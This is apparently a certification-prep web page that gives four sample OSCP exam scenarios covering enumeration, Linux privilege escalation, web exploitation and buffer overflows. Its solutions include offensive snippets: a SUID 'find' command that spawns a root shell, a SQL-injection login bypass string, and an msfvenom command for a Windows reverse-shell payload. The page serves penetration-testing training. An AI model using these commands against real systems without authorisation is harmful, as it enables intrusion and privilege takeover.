OSCP Sample Question: What to Expect and How to Prepare

Are you preparing for the Offensive Security Certified Professional (OSCP) exam and looking for real-world OSCP sample questions? You’ve come to the right place. Whether you're a cybersecurity enthusiast, penetration tester, or IT professional, understanding the structure and types of OSCP sample questions can help streamline your preparation. In this comprehensive guide, we’ll break down the exam, walk through real-like sample questions, and show you exactly what to expect.

📌 Quick Overview: What is OSCP?

The OSCP (Offensive Security Certified Professional) certification is offered by OffSec (formerly Offensive Security) and is one of the most respected and hands-on penetration testing certifications in the cybersecurity world. It's best known for its rigorous, 24-hour practical exam, where candidates must compromise several machines and provide a detailed penetration test report.

Before diving into the sample questions, it's essential to understand the exam objectives and structure.

🎯 OSCP Exam Objectives

The OSCP certification tests a candidate’s ability to:

• Conduct penetration tests using a structured methodology.

  
  

• Identify and exploit vulnerabilities across various systems.

  
  

• Use tools and scripting to automate and enhance attacks.

  
  

• Document findings and remediation recommendations clearly and professionally.

🧠 Why Practice with OSCP Sample Questions?

Practicing with OSCP sample questions can:

• Give you insight into real exam challenges.

  
  

• Sharpen your skills in enumeration, privilege escalation, and exploitation.

  
  

• Help simulate time management under pressure.

  
  

• Identify knowledge gaps in your preparation.

  
  

Now, let’s jump into the type of OSCP sample questions you’re likely to face.

🔍 OSCP Sample Question 1: Enumeration and Exploitation

Scenario: You have performed a basic nmap scan and discovered the following open ports on the target machine:

arduino

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PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds

Task:

1. Identify the operating system running on the target.

   
   

2. Use SMB enumeration to extract usernames.

   
   

3. Exploit a known vulnerability to gain a reverse shell.

   
   

Solution Approach:

• Use enum4linux or smbclient to extract SMB shares and user accounts.

  
  

• Cross-reference with known vulnerabilities using searchsploit.

  
  

• Exploit EternalBlue (if applicable) or perform a pass-the-hash attack.

  
  

This kind of question assesses your understanding of enumeration, exploitation, and pivoting techniques.

🔍 OSCP Sample Question 2: Privilege Escalation

Scenario: You have gained a low-privilege shell on a Linux machine. You want to escalate privileges to root.

Task: Identify and exploit a privilege escalation vector.

Hints:

• Check for misconfigured SUID binaries.

  
  

• Check sudo privileges using sudo -l.

  
  

• Check for writable scripts or PATH misconfiguration.

  
  

Example Solution:

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find / -perm -4000 -type f 2>/dev/null

If you find a vulnerable SUID binary like /usr/bin/find, use it to spawn a root shell:

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/usr/bin/find . -exec /bin/sh \; -quit

This OSCP sample question demonstrates your ability to perform local privilege escalation using misconfigured permissions or binaries.

🔍 OSCP Sample Question 3: Web Exploitation

Scenario: The web server on port 80 hosts a login form. You noticed it's vulnerable to SQL Injection.

Task:

1. Exploit the SQL injection to bypass login.

   
   

2. Upload a web shell to gain access to the server.

   
   

Example:

• Bypass login with ' OR '1'='1 in the username field.

  
  

• Use sqlmap to enumerate the backend DB.

  
  

• Find an upload form or vulnerable file inclusion to deploy a reverse shell.

  
  

This tests your understanding of web application vulnerabilities and how to chain them for remote access.

🔍 OSCP Sample Question 4: Buffer Overflow (BOF)

Scenario: You’re given a custom vulnerable Windows application listening on a TCP port.

Task:

• Identify the buffer overflow vulnerability.

  
  

• Craft and send a malicious payload to spawn a reverse shell.

  
  

Steps:

1. Use msf-pattern_create and msf-pattern_offset to identify offset.

   
   

2. Overwrite the EIP with your shellcode.

   
   

3. Use msfvenom to generate payloads like:

   
   

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msfvenom -p windows/shell_reverse_tcp LHOST=yourIP LPORT=yourPort -b "\x00" -f python

This OSCP sample question evaluates your ability to handle Windows buffer overflows, a key requirement in the OSCP exam.

📘 Tips for Using OSCP Sample Questions Effectively

1. Replicate Exam Conditions Set up a timer and attempt to solve sample questions without external help or walkthroughs.

   
   

2. Build a Homelab Use platforms like Hack The Box, TryHackMe, and VulnHub to replicate real-world targets similar to OSCP machines.

   
   

3. Document Everything Practice writing detailed notes and final reports. The OSCP requires submission of a penetration test report post-exam.

   
   

4. Learn from Your Mistakes For every failed exploit or missed privilege escalation, research the technique thoroughly and recreate the scenario.

   
   

5. Understand, Don’t Memorize OffSec tests your practical knowledge—not your ability to memorize commands. Understand how and why things work.

 OSCP Resources to Boost Your Preparation

Looking to level up your OSCP prep? Here are some top resources:

• Kali Linux Tools Guide

  
  

• PayloadsAllTheThings GitHub

  
  

• HackTheBox OSCP-like Machines

  
  

• TryHackMe - Offensive Pentesting Path

  
  

And of course, bookmark this page: 👉 https://passyourcert.net/sample-question/offsec/oscp-sample-question/

We regularly update it with new OSCP sample questions, walkthroughs, and strategy guides.

✍️ Final Thoughts: Why OSCP Sample Questions Matter

The OSCP is not an exam you can pass by just reading theory. Practicing with OSCP sample questions like the ones listed above helps simulate the real environment, reinforces your knowledge, and builds the confidence you need to succeed.

Whether you're weeks away from your exam or just starting your OSCP journey, tackling sample questions daily is one of the best strategies to stay sharp and exam-ready.

Stay consistent, keep practicing, and remember: Try harder!

🔎 Frequently Asked Questions (FAQs)

Q: Are these actual OSCP exam questions? 

A: No, these are OSCP sample questions based on the exam syllabus and common techniques. They are designed to closely simulate what you might encounter.

Q: How many machines are in the OSCP exam? 

A: There are typically 5 machines: one buffer overflow machine, one with Active Directory, and others with Linux/Windows privilege escalation paths.

Q: Do I need to know scripting for OSCP? 

A: Yes, basic scripting with Bash, Python, and PowerShell is highly recommended for automation and exploitation.

Q: Is the OSCP exam open book?

 A: Yes, but time is limited. Practicing OSCP sample questions helps you reduce reliance on searches during the exam.